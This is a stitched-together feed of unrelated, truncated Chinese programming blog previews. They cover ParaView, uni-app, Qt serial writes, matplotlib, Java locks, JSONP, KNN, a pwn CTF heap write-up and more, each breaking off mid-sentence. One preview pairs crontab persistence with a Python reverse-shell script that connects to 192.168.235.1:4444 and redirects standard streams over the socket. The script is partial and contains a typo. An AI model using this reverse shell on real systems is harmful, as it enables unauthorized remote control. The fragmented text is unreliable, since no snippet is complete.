1.通过Filters > Data Analysis > Integrate Variables，点击Apply。 2.通过Calculator计算器进行计算：Attribute Type选择Cell Data； Result Array Name中给计算的结果起个名字：uuu； 在图上的那个框框里面输上计算公式：U/Volume； 点击Apply，完成计算。 3.查看结果。在弹出的Sp
一、前言 横向分组图是柱状分组图的横向展示，有了横向柱状图加上分组图的绘制经验，这个做起来就比较简单了，横向的设置规则按照横向柱状图来，分组的规则按照柱状分组图的算法来，在横向的柱子中要绘制对应的值，没必要垂直绘制，就按照横向普通文字方向绘制就行，方便人类直观理解，看到有些软件
之前出过一个修复uni-app在iso中白屏的问题，但是hbuilder版本过超过3.0.6会造成方法无效 最新方法如下 1、需要一个全局挂载的工具类，Vue.prototype.$utils = utils2、在需要使用的页面（一般为tab页）最外层需要设置为同一个class名称3、在onshow方法调用 let pageList = {}; const
新建 source/_data/sidebar.njk 文件，内容如下： {# RecentPosts #} {%- if theme.recent_posts %} <div class="links-of-recent-posts motion-element"> <div class="links-of-recent-posts-title"> {%- if theme.recent_posts.icon %}
one step, whole life "正确的思考，独立的思考" finance 《最重要的事情》 股票投资想法，操作方法和心法. 《最富足的投资》哲理，思维 《巴菲特教你读财报》 《安全边际》 Tech Java data process ExtJS 数据可视化.
发送数据 16进制HEX转QByteArray QString CMD="55AA88FFFFFFFF"; QByteArray str2 = QByteArray::fromHex (CMD.toLatin1().data()); 需要循环发送 则需要在write 后加 serial->write(str2); if(!serial->waitForBytesWritten()) //这一句很关键，决定是否能发送成功 { qDe
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <div id="show" style="margin: 0 auto;width: 900px;"> </div> </body
1：页面代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> <link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/c
/etc/crontab设置定期执行的任务，修改需要root权限 简易版 python反弹shell的文件： 1 #!/usr/bin/python 2 import os,subprocess,socket 3 4 s=socket.socket(socket.AF_INET,socket,SOCK_STREAM) 5 s.connect((192.168.235.1,4444)) 6 os.dup2(s.fileno(),0) 7 os.dup2(s.fil
使用 matplotlib 绘制带日期的坐标轴 源码及参考链接 效果图 代码 import numpy as np import matplotlib.pyplot as plt import matplotlib.dates as mdates fig, ax = plt.subplots() """生成数据""" beginDate = '2012-01-01' endDate = '2018-01-0
大纲介绍 Schema 是 Google, Microsoft, Yahoo 联合成立的, 目的是统一网页的表示方式, 这样搜素引擎会比较方便显示内容. 它虽然不算那种 w3c 独立的组织. 但其它的平台想使用这套机制来抓取网页显示内容也是 ok 的啦. 参考: 前世今生 Schema.org 常见问题解答 FAQ Google
数据库有读写锁、Java也有自己的读写锁。 数据库读写锁如下：mysql 共享锁与排他锁 synchronized和ReentrantLock的对比 到现在，看到多线程中，锁定的方式有2种：synchronized和ReentrantLock。两种锁定方式各有优劣，下面简单对比一下： 1、synchronized是关键字，就和if...else...一样，是语
spring cloud Alibaba 微服务项目如下错误： Caused by: java.lang.IllegalStateException: Required identifier property not found for class com.huajun.kgbuilder.domainmodel.Movie! at org.springframework.data.mapping.PersistentEntity.getRequiredIdProperty(Persis
------------恢复内容开始------------ 最近在做自动化测试的时候需要从excel中读取断言数据并转换成字典，结果出现了一个错误： 原因是字符串中存在null值，无法转换为字典 解决方法一： 通过replace 方法把null替换成指定的字符串 XXX.replace('null','None') data = '{"code
找到上面这个 文件，不管是用 命令创建 还是 用 HBX 创建，都一样会有这个文件的，然后跟着截图复制粘贴就好了。 // 这是配置本地能跨域的，或者你可以直接让后端给你设置请求头，避免了跨域。 "devServer" : { // "disableHostCheck" : true, //禁止访问本地host文件
https://dl.acm.org/doi/fullHtml/10.1145/3360900 FEILONG LIU, LINGYAN YIN, and SPYROS BLANAS, The Ohio State University, USA ACM Trans. Database Syst., Vol. 44, No. 4, Article 17, Publication date: December 2019.DOI: https://doi.org/10.1145/33
说明：现有一个小需求，切换全局社区id，页面全部数据都相应切换。选择其中一种实现方式就是使用useContext和useReducer配合管理这个公共数据id。 以下是大概步骤： 1. 新建GolobalID.tsx文件,贴代码： import { createContext, useReducer } from "react"; export const UPDATE_ID = "UP
【pwn】V&N2020 公开赛 simpleHeap 1、静态分析 首先libc版本是ubuntu16的2.23版本，可以去buu的资源处下载 然后checksec一下，保护全开 拖入IDA中分析 去除了符号表，通过menu函数分析出有add、edit、show、delete 1.add() add函数分析一遍，发现没什么漏洞，就是普普通通的输入一个需
在v1.0版本中实现了"页面点击按钮，生成对应测试数据"的功能，但是在操作页面只有一个按钮，没有提供任何参数(即没有涉及到参数在前后端传递，只是单纯的触发请求)； 这次在前端页面给每个按钮加一个参数，用来控制生成测试数据的个数，更改后的页面大概如下 所以接下来要做如下改造工作： 改
前言 前端时间看到大佬云的世界出了一个掘金抽奖可视化插件（本人使用的油猴），觉得很有意思，copy一下代码，接入进来，使用了几天，感觉非常棒，研究了一下，改了点样式，增加了一些功能 话不多说，直接看效果 增加功能如下： 签到，成功后提示连续签到天数和累计签到天数 显示矿石数量和可抽奖次数
jsonp 在前端开发中，我们一种常见的网络请求方式就是JSONP 使用JSONP最主要的原因往往是为了解决跨域访问的问题 JSONP的原理是什么呢？ JSONP的核心在于通过script标签的src属性来帮助我们请求数据. 原因是我们的项目部署在domain1.com服务器上时，是不能直接访问domain2.com服
数据层： public List<City> GetCity(int Pid){ return db.City.Where(w => w.ParentId == Pid).ToList(); } 控制器: public ActionResult GetCity(int Pid) { return Json(dal.GetCity(Pid), JsonRequestBehavior.AllowGet); } Vue语法: let app = new V
目录 1 K—NN算法2 K近邻模型2.1 距离度量2.2 k值的选择2.3 分类决策规则3 KNN的sklearn使用4 KNN的python实现4.1 使用KNN实现约会网站配对效果改进4.2 手写信息识别系统5 小结： #导入相关的包 import pandas as pd import numpy as np import matp
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=
From: http://liudongdong1.github.io/ Millimeter wave (mmWave) is a special class of radar technology that uses shortwavelength electromagnetic waves. Radar systems transmit electromagnetic wave signals that objects in their path then reflect. By capturin
